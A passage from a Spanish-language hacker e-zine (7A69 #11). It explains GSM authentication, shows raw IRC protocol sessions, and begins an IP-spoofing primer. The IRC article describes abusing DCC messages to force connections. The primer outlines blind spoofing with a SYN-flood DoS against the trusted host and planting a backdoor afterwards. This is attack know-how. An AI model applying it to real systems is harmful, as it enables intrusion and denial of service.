Domestico (HLR) y el Registro de Localizacion del Visitante (VLR). El Centro
de Autenticacion (AUC) es responsable de generar los conjuntos de RAND
(Numero aleatorio), SRES (Respuesta Firmada) y Kc (clave de cifrado temporal
generada aleatoriamente) que se encuentran almacenados en el HLR y en el VLR
para su utilizacion posterior en los procesos de autenticacion y cifrado.

8.-Autentificacion.

La red GSM autentifica la identidad del abonado utilizando un mecanismo de
"desafio-respuesta"(La misma palabra lo dice...[Autentificacion];D).
Se envia a la estación movil un número aleatorio de 128 bits (RAND). La
estacion movil (MS) calcula la respuesta firmada de 32 bits (SRES) basandose
en el cifrado del numero aleatorio (RAND) con el algoritmo de autenticacion
(A3) utilizando la clave individual de autenticacion de abonado (Ki). Al
recibir del abonado la respuesta firmada (SRES), la red GSM repite el
calculo para verificar la identidad del abonado. Fijate que la clave
individual de autenticacion de abonado (Ki) nunca se transmite sobre el
canal de radio. Esta presente en el SIM del abonado, asi como en las Bases
de Datos del AUC, HLR y VLR. Si el SRES recibido coincide con el valor
calculado, la estación movil ha sido autentificada con exito y puede
continuar. Si los valores no coinciden la conexion se termina y se indica un
fallo de autenticacion a la estacion movil. El calculo de la respuesta
firmada (SRES) se realiza dentro del SIM :). Esto proporciona mayor
seguridad, debido a que la informacion del abonado confidencial como la IMSI
o la clave individual de autenticacion del abonado (Ki) nunca salen del SIM
durante el proceso de autenticacion.

9.-Confiencialidad.

Todo SIM contiene el algoritmo de generacion de claves de cifrado (A8) que
se utiliza para producir la clave de cifrado (Kc) de 64 bits. La clave de
cifrado se calcula aplicando el mismo numero aleatorio (RAND) utilizado en
el proceso de autenticacion con el algoritmo de generacion de la clave de
cifrado (A8) con la clave individual de autenticacion de abonado (Ki). La
clave de cifrado (Kc) se utiliza para cifrar y descifrar los datos
transmitidos entre la estacion movil y la estacion base. Se proporciona un
nivel adicional de seguridad al haber medios para cambiar la clave de
cifrado, haciendo al sistema mas resistente contra posibles "escuchas
ilegales"
de la mano de los Phreakers ;P. La clave de cifrado puede
cambiarse a intervalos regulares segun lo requieran las consideraciones de
seguridad y diseño de red. De una manera similar al proceso de
autenticacion, el calculo de la clave de cifrado (Kc) tiene lugar
internamente dentro del SIM. Por tanto, la informacion sensible como la
clave individual de autenticacion de abonado (Ki) nunca la revela el SIM.
Las comunicaciones de datos y voz cifradas entre la estacion movil y la red
se realizan utilizando el algoritmo de cifrado A5. La comunicacion cifrada
se inicia por un comando de "petición de modo de cifrado" desde la red GSM.
Al recibir este comando, la estacion movil empieza el cifrado y descifrado
de datos utilizando el algoritmo de cifrado (A5) y la clave de cifrado (Kc).
El algoritmo A5 es un "cifrador en flujo" formado por tres LFSRs (Linear
Feedback Shift Registers) controlados por reloj de grados 19, 22 y 23. El
control de reloj es una función "thereshold" de los bits del medio de cada
uno de los tres registros desplazamiento. La suma de los grados de los tres
registros es 64 ;). La clave de sesion de 64 bits se utiliza para
inicializar los contenidos de los registros desplazamiento. El numero de
trama TDMA de 22 bits se alimenta en los registros desplazamiento. Se
generan dos corrientes de claves de 114 bits para cada trama TDMA que son
operados con XOR con los canales de trafico "uplink" y "downlink". En un
principio el algoritmo A5 tuvo una longitud de clave "efectiva" de 40 bits,
posteriormente 64 bits y en un futuro proximo y nada lejano 128 bits. Los
algoritmos A3 y A8 de GSM son funciones unidireccionales "hash" dependientes
de la clave. Los algoritmos A3 y A8 de GSM son similares en funcionalidad y
se implementan como un único algoritmo denominado COMP128.

10.-Despedida!

Para muchos este articulo habra sido una turra constante, para otros habra
sido una fuente de conocimiendo. Pero bueno, saludo y dedico este articulo a
OvErDrlvE y en especial a mi querida Angelill@ de Charlie, ya sabe ella que
la quiero muxho! Bueno chicos, me marcho con la musica a otra parte. Hasta
la proxima!

-=(EOF)=-
-=( 7A69 E-zine 11 )=--=( art10 )=--=( Curiosidades del IRC )=--=( tuxisuau )=-

Curiosidades del IRC: Paseando por los RFCs
-------------------------------------------

Buenas, soy tuxisuau y me pueden encontrar en el IRC-hispano, en canales de
tematica linuxera. Decidi escribir este articulo despues de haber tenido la
necesidad de leerme los RFC's del IRC al querer programar ciertas cosas que
usarian este protocolo :) y haber descubierto muchas cosas que desconocia.

En este texto voy a hablar siempre de comandos del protocolo IRC... A la hora
de experimentar con estos comandos hay que recordar esto, puesto que si
introducimos los comandos literalmente en clientes de irc (por cierto,
recomiendo BitchX, lo podeis bajar en www.bitch.org) el que interpretara los
comandos sera el cliente y este decidira lo que debe enviar al server, y esto
no es lo que a nosotros nos interesa puesto que queremos pasar comandos
literales al servidor.

Para ello, podemos usar distintos trucos...

- /quote (comando de muchos clientes para pasar datos directamente al server)
- /raw (substituto de /quote en algunos clientes)
- telnet (el mejor cliente que existe, no es precisamente el mas comodo...)

Vamos a por ello! :)

INDEX

1. Canales

1.1. Tipos de canal / Nombres
1.2. Modos de canal (extraido en plan bestia del RFC 2811)
1.2.1. Canales anonimos
1.2.2. Canales silenciosos
1.2.3. Server Reop
1.2.4 Canales con clave

2. Registro de conexion

2.1. Paso a paso...
2.1.1. PASS <password>
2.1.2. NICK <nickname>
2.1.3. USER <user> <mode> <unused> <realname>
2.1.4. OPER <name> <password>
2.1.5. MODE <nick> <modo>
2.2. Ejemplo de conexion

3. Chateando un poco

3.1. PRIVMSG <nickdestino> <texto>
3.2. NOTICE <nickdestino> <texto>
3.3. JOIN ( <canal> [password] ) / "0"
3.4. PART <canal> <partmsg>
3.5. QUIT <quitmsg>

4. CTCP: Client 2 Client Protocol

4.1. Enviando CTCP's
4.2. Tipos de CTCP
4.2.1. CLIENTINFO
4.2.2. ERRMSG
4.2.3. FINGER
4.2.4. USERINFO
4.2.5. VERSION
4.2.6. SOURCE

5. DCC: Conexiones directas entre clientes

5.1. Tipos de DCC
5.1.1. CHAT
5.1.2. SEND
5.2. Inicio de una conexion DCC
5.2.1. Pasando una IP a Integer
5.2.2. Debilidades de los DCC

6. Conclusion

---

1. Canales

1.1. Tipos de canal / Nombres

Los nombres de los canales son cadenas de como maximo 50 caracteres. Del
nombre se excluyen los espacios, control-g (k pena), comas y dos puntos.

La primera letra es decisiva:

# --> Canal de toda la vida
& --> Canal local: solo existe en el servidor del user que lo crea
+ --> Canal sin modos: siempre es '+t' y no admite ningun otro modo
! --> Canal 'seguro': Permanece cuando esta vacio y recuerda su fundador (+O)

Los canales seguros deben crearse con join !canalseguro, el ! es substituido
por una combinacion de 5 caracteres al azar por el server. El creador del
canal se convierte en +O del canal (no confundir con +o), y aunque abandone el
canal y entre otra vez vuelve a ser +O. Esto no tira en el hispano... si
encontrais algun server en el k tire rulad un memo :)

1.2. Modos de canal (extraido en plan bestia del RFC 2811)

O - da status de "creador de canal" (!canales_seguros)
o - da privilegios de operador
v - da voz

a - canal anonimo (todos los users q hablan son anonymous!anonymous@anonymous)
i - invite-only (solo se puede entrar si te invitan antes)
m - canal moderado (solo hablan los k tienen voz o op)
n - no acepta mensajes desde el exterior del canal.
q - canal silencioso (no se envian parts/joins/cambios_nick a los users)
p - canal privado (no sale en listas de canales)
s - canal secreto (como el privado, pero ademas no sale en los whois)
r - server reop (!canales seguros, evita que el canal se quede sin ops)
t - topic (permite el canvio de topic unicamente a los op)

k - clave (ajusta/elimina el password del canal)
l - user-limit (limita el numero de users del canal)

b - ban (ajusta/elimina mascaras de ban para mantener users fuera)
e - excepcion (ajusta/elimina mascaras excepcion a los bans)
I - invite (ajusta/elimina mascaras excepcion al invite-only)

1.2.1. Canales anonimos

En estos canales, se oculta el nombre de los users bajo la mascara
anonymous!anonymous@anonymous cuando estos hablan. En los canales !seguros
solo debe ser ajustado por el +O (creador del canal) y debe ser irreversible.
Vale la pena advertir que la anonimicidad solo funciona a nivel
server-cliente, no a nivel server-server.
(No rlz en el hispano)

1.2.2. Canales silenciosos

Para uso exclusivo de los servidores, suelen ser canales donde los servidores
envian notices sobre sus operaciones. Desde el punto de vista de los usuarios,
en estos canales estan 'solos' y se ocultan los 'mensajes' de join, part y
canvios de nick. sirve para reemplazar el modo +s de forma mas eficiente para
este tipo de canales.
(Quien sabe si rlz en el hispano o no...)

1.2.3. Server Reop

Exclusivo de los canales !seguros, sirve para evitar que un canal se quede sin
ops durante un tiempo excesivo. Para ello da op a algunas personas al azar. Si
el canal es pequeño (<6 personas) da op a todos los miembros si al menos 1 es
local al servidor, o si tanto el channel delay (duracion de canal vacio) y el
reop delay (retardo de server reop) se han agotado. En otros casos se da op al
menos a un usuario. El mecanismo que se usa actualmente es buscar usuarios que
lleven poco tiempo 'idle'.

1.2.4 Canales con clave

Son vulnerables a sniffing... las claves se envian en texto plano.

2. Registro de conexion

Puedes experimentar con telnet :)

Normalmente durante el proceso de conexion hay intercambio de pings/pongs, por
lo que es lo primero que explicare:

Si recibes: ping :cualquier cosa rara
Debes contestar: pong :la misma cosa rara de ping

Ejemplo:
PING :746359702
pong :746359702

2.1. Paso a paso...

2.1.1. PASS <password>

Establecemos el password de conexion (ni idea de para que sirve)

Ejemplo:
pass debianrocks

2.1.2. NICK <nickname>

Escogemos el nick :)

Ejemplo:
nick zerocool

2.1.3. USER <user> <mode> <unused> <realname>

Ajustamos el 'user' para la mascara del usuario y el realname.
<mode> es una bitmask. Se usan 2:

bit funcion valor
2 +w 4
3 +i 8

Ejemplo:
user debian 8 * :Debian rlz a lot

(Esto nos haria debian@host, tendriamos modo +iw y "Debian rlz a lot" de
realname. No se pq pero a veces lo del modo se lo pasa por el forro...)

*** A partir de aqui estariamos conectados, lo siguiente son sugerencias...

2.1.4. OPER <name> <password>

Nos haria opers :) Este paso nos lo debemos saltar si no tenemos Oline :[

Ejemplo:
oper tuxisuau killercop

2.1.5. MODE <nick> <modo>

Aqui ajustamos por fin el modo (user lo intenta pero no se sale mu fien :)

Ejemplo:
mode tuxisuau -x

2.2. Ejemplo de conexion

Para aclarar ideas un ejemplo REAL de conexion, eso si, nos jode la
restriccion de las 80 columnas... supongo que sabreis leerlo :)

tux@debian:~$ telnet coruscant.irc-hispano.org 6667
Trying 195.76.22.2...
Connected to 195.76.22.2.
Escape character is '^]'.
*** El server nos dice:
:coruscant.irc-hispano.org NOTICE SOCKS4 :*** Checking WinGate/SocksProxy
security...
:coruscant.irc-hispano.org NOTICE SOCKS4 :*** Proxy test passed.
*** Nosotros le decimos:
pass debianrocks
nick zerocool
*** El server nos dice:
:coruscant.irc-hispano.org 433 * zerocool :Nickname is already in use or
registered (missing or wrong password)
*** Nosotros le decimos:
nick zerokul
*** El server nos dice:
PING :746359702
:NiCK!-@- NOTICE zerokul :*** Protección IP: tu dirección virtual es
BqkrAe.BdJTSS.virtual
*** Nosotros le decimos:
pong :746359702
user debian 8 * :Debian rlz a lot
*** El server nos dice:
:coruscant.irc-hispano.org 001 zerokul :Welcome to the Internet Relay Network
zerokul
:coruscant.irc-hispano.org 002 zerokul :Your host is
coruscant.irc-hispano.org, running version u2.10.H.02.05
:coruscant.irc-hispano.org 003 zerokul :This server was created mar dic 5 2000
at 10:23:26 CET
:coruscant.irc-hispano.org 004 zerokul coruscant.irc-hispano.org u2.10.H.02.05
dioswkg biklmnopstv
:coruscant.irc-hispano.org 251 zerokul :There are 3361 users and 1836
invisible on 47 servers
:coruscant.irc-hispano.org 252 zerokul 25 :operator(s) online
:coruscant.irc-hispano.org 254 zerokul 4832 :channels formed
:coruscant.irc-hispano.org 255 zerokul :I have 44 clients and 1 servers
:coruscant.irc-hispano.org NOTICE zerokul :Highest connection count: 871 (870
clients)
:coruscant.irc-hispano.org 375 zerokul :- coruscant.irc-hispano.org Message of
the Day -
:coruscant.irc-hispano.org 372 zerokul :- 5/12/2000 10:23
:coruscant.irc-hispano.org 372 zerokul :- Bienvenido al IRC SERVER EUROCIBER
:coruscant.irc-hispano.org 372 zerokul :- Colabora y disfruta.
:coruscant.irc-hispano.org 376 zerokul :End of /MOTD command.
:coruscant.irc-hispano.org NOTICE zerokul :on 2 ca 1(2) ft 10(10)
:zerokul MODE zerokul :+x
:NiCK!-@- PRIVMSG zerokul :Este nick está registrado y protegido. Si es tu
nick, escribe 12/msg NiCK@deep.space IDENTIFY contraseña. Si no lo es, escoge
un nick diferente con el comando /nick 'otro nick' o bien consulta la página
http://www.irc-hispano.org/ayuda/tutorial/nick-tut.html
*** Estamos conectados !!!

3. Chateando un poco

Aqui una pequenya muestra de como funciona una session de irc... es importante
saber que los parametros se separan usando espacios y los comandos concluyen
con un LF o CR. Algunos parametros nnecesitan contener espacios. Estos
empiezan con dos puntos ":".

3.1. PRIVMSG <nickdestino> <texto>

Sirve para enviar msg's a nicks (query) o a canales (hablar normal)

Ejemplo:
PRIVMSG tuxisuau :hola!
*** Mi BitchX recibe el msg...
05:42AM [zerokul(nobody@BqkrAe.BdJTSS.virtual)] hola!
*** y ahora en un canal :)
PRIVMSG #root :soy la lite lite de las lites
*** Mi BitchX me dice...
06:06AM <zerokul> soy la lite lite de las lites
*** No se pq pero creo k me voy a ganar un ban...
PING :coruscant.irc-hispano.org
:PAC-MAC!~mun@AoBa2i.Dw3CdD.virtual PRIVMSG #root ::?
:PAC-MAC!~mun@AoBa2i.Dw3CdD.virtual PRIVMSG #root :que eres el que?
:PAC-MAC!~mun@AoBa2i.Dw3CdD.virtual PRIVMSG #root :x'DDD
PONG :coruscant.irc-hispano.org
PRIVMSG #root :soy la lite hax0r de la leet
*** x'D

3.2. NOTICE <nickdestino> <texto>

Sirve para enviar notices. La diferencia entre msg y notice es que el notice
no genera o no deberia generar respuestas automaticas jamas.

Ejemplo:
NOTICE tuxisuau :debian!
*** Mi BitchX recibe el notice...
-zerokul(nobody@BqkrAe.BdJTSS.virtual)- debian!

3.3. JOIN ( <canal> [password] ) / "0"

Sirve para entrar a un canal. Si usamos un cero de parametro saldremos de
todos los canales.

Ejemplo:
join #root
*** El server nos explica...
:zerokul!nobody@BqkrAe.BdJTSS.virtual JOIN :#root
:coruscant.irc-hispano.org 353 zerokul = #root :zerokul J0su4 Kiugni princc3sa
mnm tuxisuau inv989511 NiH ICEFIRE harvenz @Anarion Nai^aZzZ PAC-MAC Skull_
r^_^NOTA @Ca|n
:coruscant.irc-hispano.org 366 zerokul #root :End of /NAMES list.
:CHaN!-@- NOTICE zerokul :Canal de Administración de Unix/linux.
12http://croot.digicode.org1 Echa un vistazo tb a http://www.7a69ezine.org/
Realizada por varios miembros de #root. :-)
*** Mi BitchX le ve entrar...
-:- zerokul [nobody@BqkrAe.BdJTSS.virtual] has joined #root

3.4. PART <canal> <partmsg>

Sirve para salir de un canal o de varios si los separamos usando comas.

Ejemplo:
part #root :I'm the lite hax0r of the l33t
*** El server nos dice...
:zerokul!nobody@BqkrAe.BdJTSS.virtual PART #root :I'm the lite hax0r of the
l33t
*** Mi BitchX me cuenta...
-:- zerokul [nobody@BqkrAe.BdJTSS.virtual] has left #root [I'm the lite hax0r
of the l33t]
*** Ha quedado muy leet XD

3.5. QUIT <quitmsg>

Lo usaremos para concluir nuestra session de irc :)

Ejemplo:

quit :7a69 r0cks www.7a69ezine.org
+++ En BitchX vemos...
-:- SignOff _7a69zine: #root (7a69 r0cks www.7a69ezine.org)

4. CTCP: Client 2 Client Protocol

El protocolo de cliente a cliente se usa para hacer peticiones/mandar datos al
cliente IRC del destinatario. Por ejemplo, un VERSION ;)

4.1. Enviando CTCP's

Para mandar CTCP usaremos PRIVMSG. La pregunta es... Pero el PRIVMSG no servia
para hablar en un canal/con una persona? Claro! Y entonces como distingue el
cliente un ctcp de un mensaje normal?

Bien, para ello usaremos caracteres especiales, en contreto \001 (en el
formato del printf del ANSI-C, simplemente es el caracter ASCII 1).

Ejemplo:

PRIVMSG tuxisuau :\001VERSION\001

Las respuestas se envian usando NOTICE:

NOTICE toyesperandorespuestadelversionkacabodehacer :\001VERSION TuxiIRC by
tuxisuau:0.1.2:SuperLiteBSD 0.0.1\001

El tema del intercalado da bastante mas de si. Para mas info siempre puedes
meter mano a los docs (RTFM).

4.2. Tipos de CTCP

Hay unos cuantos, los que listo a continuacion son los estandar, aunque hay
que tener en cuenta que existen algunos clientes que usan sus propios ctcp's
no estandar (sound, mp3, tonterias desas y quiza incluso haya algo util...)

4.2.1. CLIENTINFO

Devuelve una lista de lo que el cliente sabe

4.2.2. ERRMSG

Usado para contestar a errores

4.2.3. FINGER

Obsoleto, sirver para sacar algo de info sobre los usuarios.

4.2.4. USERINFO

Debe devolver una cadena escrita por el usuario (jamas debe ser fijada por el
programador del cliente...)

4.2.5. VERSION

Devuelve la version del cliente en formato cliente:version:entorno

4.2.6. SOURCE

Devuelve info sobre como encontrar el cliente de IRC usado (la url de la web
del cliente o la direccion de correo del programador, normalmente)

5. DCC: Conexiones directas entre clientes

Las conexiones DCC permiten a los usuarios mantener saltarse algunas
limitaciones de los servidores de irc estableciendo conexion TCP directa entre
si.

5.1. Tipos de DCC

Tenemos un par de estandar, luego los clientes pueden soportar tipos
extraños...

5.1.1. CHAT

Sirve para entablar conversaciones semi-seguras entre clientes (y digo
semi-seguras por que aun que no pasen por el servidor de irc, viajan en texto
plano y se pueden sniffar... Si se quiere una conversa segura de verdad, hay
que usar algun sistema de encriptacion decente...)

5.1.2. SEND

Sirve para transmitir ficheros de un cliente a otro.

5.2. Inicio de una conexion DCC

Para iniciar una conexion DCC, el cliente abre un socket y manda un CTCP al
otro cliente indicandole que quiere iniciar una conexion DCC.

Para ello, usa el formato siguiente...

DCC tipo argumento direccion puerto

En el caso del DCC SEND, el argumento es el nombre del fichero.

La direccion se envia en forma de Integer.

Un ejemplo seria el siguiente...

PRIVMSG iokerounfile :\001DCC send linux_2.4.2.tar.bz2 2345234 21\001

Entonces el usuario deberia ser notificado del fichero entrante y este deberia
de decidir si quiere recibirlo o no. Al aceptar un DCC el cliente procede a
conectar directamente con la ip que se le ha facilitado, de manera que es
obvio que los clientes JAMAS deberian autoaceptar conexiones DCC.

5.2.1. Pasando una IP a Integer

Es muy sencillo. Si IP es a.b.c.d, su valor en INT es:
(a * 256 * 256 * 256) + (b * 256 * 256) + (c * 256) + d

Para poner las cosas mas faciles, me he currado una cutrada-prog en C para
pasar de ip a INT (ip2int.c)

El programa es una cutrada, si tienes ganas puedes modificarlo para que acepte
ips separadas por puntos (si estas aprendiendo a programar, es un buen
ejercicio...)

5.2.2. Debilidades de los DCC

Como veis al indicarle al cliente la ip a la que se debe conectar usando un
CTCP, es facilisimo manipular este para indicarle al cliente que se conecte a
la ip o al puerto que desee.
Por ejemplo, podemos enganyar a alguien para que acepte el dcc confiado y
conecte a algun puerto comprometido de la maquina de un kiddie, de manera que
el kiddie muy probablemente procedera a lanzar algun DoS contra el inocente
(maravillas de la ing. social...) Eso es solo una idea. Imaginen tambien un
cliente con autoget, que podria ser utilizado alobestia para barrer con
conexiones TCP puertos/rangos para hacer pitar firewalls cutres, "firmar"
logs, saturar maquinas, provocar a los kiddies, etc.
Algunos clientes aceptan como DCCs validos CTCP's DCC enviados hacia
canales... si en esos canales hay algun o algunos clientes vulnerables (y no
digo nada si encima tienen autoget) es posible provocar conexiones TCP en
masa...
En fin, experimentad con esto tanto como querais pero yo no os he explicado
esto para que lo useis para cosas malas, sino para todo lo contrario :P

6. Conclusion

IRC r0cks :)

Al ser un protocolo en texto plano nos podemos conectar "a lo bestia", y esto
nos hace posible entrar desde practicamente cualquier trasto con conexion a
internet. Yo entre el otro dia desde msdos (!), si teneis curiosidad, use el
'kit' de conexion pa msdos incluido en arachne (lo encontre en freshmeat.net)
y un paquete-expansion de telnet para msdos que descargue desde el arachne de
su sitio oficial. Imagino que tb debe de rular en pcdos, drdos, opendos,
freedos, etc. Lo tube que poner a 33.6 por eso, si no no marcaba :(

Espero que este articulo os sea util, al menos ahora entendereis un poco el
protocolo IRC y si os animais podeis incluso programar alguna cosa.

Si os gusta el tema, os recomiendo leer (yo lo he usado como referencia...):

RFC 1459: Internet Relay Chat Protocol (el original)
RFC 1580: Guide to Network Resource Tools (recursos de la red en general)
RFC 2810: Internet Relay Chat: Architecture
RFC 2811: Internet Relay Chat: Channel Management
RFC 2812: Internet Relay Chat: Client Protocol
RFC 2813: Internet Relay Chat: Server Protocol

Los podeis encontrar en muchos lados, pero yo los saque de...
www.irc.org
www.rfc-editor.org

Espero volver pronto con mas y mejores articulos :-)

-=( EOF )=-
-=( 7A69 E-zine 11 )=--=( art11 )=--=( Fast Ethernet )=--=( xuzato )=-

Este articulo a sido escrito en el formato PDF : fast_ether.pdf .

-=( EOF )=-
-=( 7A69#11 )=--=( art12 )=--=( Introduccion al Ip-Spoofing )=--=( mnm )=-

---[ Contenidos ]
1. Introduccion
2. Que es IP-spoofing?
3. Antes de empezar
4. Lo que vas a necesitar
5. Empezamos o que?
6. Blind Spoofing
7. Los varios ataques
8. Formas de prevenir
9. Terminamos? Por hoy.

---[ 1. Introduccion ]

Buenas. Hay varias razones por las que he escrito este articulo.
La primera es que no he encontrado mucha documentation sobre el
IP-spoofing en castellano.Tambien escribi esto porque es un tema
que me mola mucho y francamente al escribir esto he aprendido un
monton de cosas nuevas.

El nivel de este articulo no es muy alto, pero, conocimientos de
TCP/IP y Unix son necesarios. Afortunadamente hay bastantes text
sobre esos tema ( Aun asi, entrare basicamente en el tema de TCP
y sus flags (o banderas) y IP ).

Antes de empezar solo mencionar que este documento se ha escrito
solo con fines educativos para los interesados. El autor (yo) no
se hara responsable de cualquier mal uso de esta informacion.
Blah. Blah. Blah. :P

Sin perder mas tiempo: empezemos con lo bueno. ;)

---[ 2. Que es IP-spoofing? ]

La definicion de IPspoofing ha sido moldeada equivocadamente por
varias personas que no acaban de entender su pocos conocimientos
TCP/IP. Yo definiria IP-spoofing de la siguiente manera:

"Tecnica usada para obtener access (no autorizado) a una maquina
mediante suplantacion de identidad."


Haber, me explico. IP-spoofing a nivel teorico consiste en hacer
creer a la maquina en la que estamos interesados creer que somos
alguien que no somos (alguna otra maquina en la que confian). Lo
que hariamos es pasar por otra identidad de un "trusted" host o
direccion IP. Para poder llevar a cabo un ataque con IP-spoofing
hace falta encontrar una direcion IP de un host en el que confie
la maquina que sera atacada.Despues el atacador debera modificar
las cabezeras para que parezca que los paquetes proceden de el
host de confianza (y su puerto).

*NOTA: Hay muschos tipos de IP-spoofing. Como Non-blind Spoofing
que tienes un significado algo diferente. Los comento mas abajo.

---[ 3. Antes de empezar ]

Antes de empezar voy a repasar muy brevemente las cosas que hay
que saber para poder entender correctamente el funcionamiento de
los IP-spoofs (para eso estamos no, para saber como funciona las
cosas ;). Para correctamente entender y efectuar ataques de tipo
IP-spoofing no hay que ser ningun genio pero saber algo del Unix
y TCP/IP es fundamental.

Antes de leer este articulo os sugiero que leeais los documentos
de TCP/IP y Unix que hay (son muchos, hasta en castellano). Aqui
entrare solo elementariamente en como funciona TCP/IP, pero como
dije leete lo que ya hay.

Una conexion es dependente de 4 parametros: un source host y su
puerto, un host destinario y su puerto. Cuando la conexion haya
sido establecida los datos son mandado desde un host y un puerto
a el otro mediantes paquetes. Los paquetes se encargan del "low
level traffic"
(trafico de bajo nivel), y tambien se asegura de
que los datos llegan a su destino. La mayoria de redes se basan
en IPv4 (IP version 4) porque es totalmente independiente de los
protocolos de hardware.

TCP es un protocolo de un nivel mas alto es envuelto en paquetes
IP. Todos los paquetes consisten en una *cabezera y datos.

*Cabezera:
Aqui esta la direccion IP de el host de origen y el host destino
para el paquete. Y el tipo de protocolo envuelto en el.

Un paquete TCP contienen el numero del puerto de origen y el del
host destino. Tambien contiene numeros de sequence y acknowledge
( SEQ/ACK ) y varias banderas ("flags"). Para terminar explicare
rapidamente SEQ/ACK y las banderas.
Numero SEQ: este es contado byte por byte, y sirve para darte el
numero del siguiente byte que debe ser mandado.
Numero ACK: Es el numero SEQ que se espera de el otro host.

Las banderas de TCP son URG, PSH, RST y FIN. No voy a explicaros
nada mas en este articulo, porque, como ya os dije hay bastante
documentacion escrito sobre este tema.

---[ 4. Lo que vas a necesitar ]

En este capitulo solo voy a mencionar, para los que no lo tienen
tan claro, las herramientas que son necesaria para llevar a cabo
un ataque de IP-spoofing (o cualquier ataque por el estilo, como
"sequence number attacks").


Todo lo que hago en este documento esta probado en un linux. Asi
que seria perfecto tener a tu disposicion un sistema *nix. Linux
es una buena eleccion.

Tambien vas a necesitar un generador de paquetes. Esto genera y
manda paquetes que tu sepecificas. Incluye las banderas, numero
SEQ, el tamano de ventana y lo demas que veras en un paquete. Un
buen generador de paquetes es Libnet o Spak.

Lo siguiente que vas a necesitar para tus trabajos es un sniffer
de paquetes. Uno de los mas famosos es Sniffit. Un programa como
este te dejara leer la cabezera de un paquete especifico.

Y claro como no, vas a necesitar un host de confianza, un host a
atacar y un host para el ataque (tu? ;).

Aqui tienes las URLs:

Sniffit - http://reptile.rug.ac.be/~coder/sniffit/sniffit.html
Spak - http://freeport.xenos.net/~xenon/software/spak/index.html
Libnet - http://www.packetfactory.net/libnet/

---[ 5. Empezamos o que? ]

Empezemos con el tema este del host de confianza. Como ya debeis
saber, en el mundo Unix se puede dar a unos host especificos una
posicion de confianza. Que quiero decir con esto?

Pues, por ejemplo entre dos hosts un admin puede hacer/crear una
situacion de confianza. Ahora hablare en terminos de host A y B.
Si los admins tienen un "pacto" puede hacer lo siguiente para no
tener que loguear con un password cada vez que quieran acceder a
la maquina del otro:
En el host A: 'echo "B nombreusario" > ~/.rhosts'
Y en host B: 'echo "A nombreusario" > ~/.rhosts'

Esto tambien lo podria hacer root a nivel del host entero simple
con editando el /etc/hosts.equiv. Bueno, ahora cualquiera de los
dos hosts podrian acudir a la otra maquina con los comandos del
tipo r* (como rlogin) sin tener que preocuparse de las password.
Esto funcionaria solo si la conexion procede del la IP correcta.
Hay informacion ya disponible sobre los comandos r* asi que no
gastare el tiempo explicandolo en mas detalle.

Como mencione antes, para que dos hosts intercambien informacion
hace falta, en TCP, realizar una conexion. Esto se hace el tres
pasos (llamado 3-way handshake). El proceso seria asi (si no lo
entiendes, te avise que comprendas TCP antes de leer esto):

M Host Proceso Host
1 A ---SYN---> B
2 A <--SYN/ACK-- B
3 A ---ACK---> B

Lo explico, M es un momento de tiempo. No tiene un tiempo exacto
pero es un momento de tiempo. Entiendes (joder que mal explicado
eh?)? En el primer momento de tiempo (1) el cliente le dice a el
servidor que desea un conexion. El servidor, al recibir este SYN
responde el ISN (initial sequence number) y le devuelve al host
A (cliente) un ACK como respuesta (que dentro del cliente seria
ISN + 1). Finalmente, el cliente debe mandar un ACK al ISN de el
servidor (3). Ahora pueden intercambiar datos.

Te sugiero que leas sobre ISN si no lo entiendes muy bien.


---[ 6. Blind Spoofing ]

Bien, IP-spoofing es algo bastante trivial porque hay que elegir
un host a atacar. Despues hay que descubrir algun host que tenga
una situacion de confianza con ese host. Despues los numeros SEQ
son analizados. Ahora viene la suplantacion de identidad el host
de confianza debe ser imitada por el atacante. Hay que adivinar
los numeros SEQ, despues intentas conseguir una conexion a con
un servicio que solo requiere autentificacion de direccion (IP).
Lo mas frequente para hacer ahora es poner un backdoor y volver.

Esto se llama 'Blind Spoofing'. Hay otro tipo de IP-spoofing que
no tratare en este documento (prometo hacerlo en otro). El otro
tipo de spoofing se llama 'Non-blind Spoofing', pero este trata
mas con ataques de DoS. Y DoS no me mola tanto.

Lo ataques IP-spoofing se hacen desde un host atacante con root.
Y se ataca para conseguir root (a que no sabias eso? ;). Tambien
ten en cuenta que hay que deshabilitar el host de confianza. Hay
que practicamente hacer que el host que deseas atacar creer que
esta manteniendo una conversacion con el host de confianza. Por
eso hay que casi advinar que esta esperando el host recibir. Con
algo de intelligencia, se puede adivinar, si entiendes bien como
TCP/IP, que espera recibir el host. Por eso se le llama a esto
'Blind Spoofing' (Spoofing Ciegamente).

---[ 7. Los varios ataques ]


El primer proceso que debe hacer es descubrir que hosts tiene en
su lista de confianza tiene el host objetivo. Esto puede ser muy
dificil. Por desgracia no hay ninguna forma de saberlo, pero con
algo de suerte alguna tecnica funcionara. Primero puedes ver con
'showmount -e' que resultados te devuelve (esto te demostrara a
donde son exportados algunos sistema de ficheros). Tambien algun
rpcinfo puede servir de algo. Si se sabe bastante sobre el host
no deberia ser muy dificil encontrarlo. Intenta ingeniate alguna
forma y lo compartes con el grupo ;).

El siguiente ataque es de deshabilitar el host de confianza. Por
que si no lo haces, te puede fastidiar todo el ataque. Lo mejor
es meterle en un ataque de DoS. La tecnica que voy a demostrar
ahora se llama TCP SYN Flooding (por daemon9/route/infinity).

Como ya vimos anteriormente una conexion TCP se inicia con el 3-
way handshake (mira arriba). Pues hay un limite al numero de SYN
peticiones puede hacer un cliente. El limite se llama el backlog
Entonces, la pila de TCP tiene una tablita de un tamano limitado
en la que guarda el estado de las conexiones a medio establecer.
En situaciones normales seran pocas las conexiones en esta tabla
asi que la tabla es muy corta. La tecnica, que si mandas muchas
peticiones de inicio de conexion pero no llegas a establecerlas,
saturas la tabla. Esto es porque cada entrada tiene un tiempo de
timeout, tras el cual se libera pero, como hay pocos libres y el
tiempo el relativamente grande. Asi que es muy facil saturar la
tabla y causar una situacion de DoS.

Ten en cuenta que los kernels mas nuevos tienen proteccion para
este tipo de ataque DoS. Pero afortunadamente, (una tonteria) el
parche para esto no esta activada por defecto, sobre todo kernel
pre-compilados.

Abajo demostrare el DoS en una forma grafica pero aun asi seria
buena idea mirar el articulo de daemon9 - Phrack: 49 Art: 07.

Host Proceso Host
1 Z(x) ---SYN---> B
Z(x) ---SYN---> B
Z(x) ---SYN---> B
Z(x) ---SYN---> B
Z(x) ---SYN---> B
Z(x) ---SYN---> B
........
2 X <--SYN/ACK-- B
X <--SYN/ACK-- B
X <--SYN/ACK-- B
........
3 X <---RST--- B

Es facil verdad? El atacante manda varias peticiones SYN al host
para llenar el backlog. Despues el host objetivo responde a esas
peticiones. Y finalmente el RST. Los backlogs vienen en tamaños
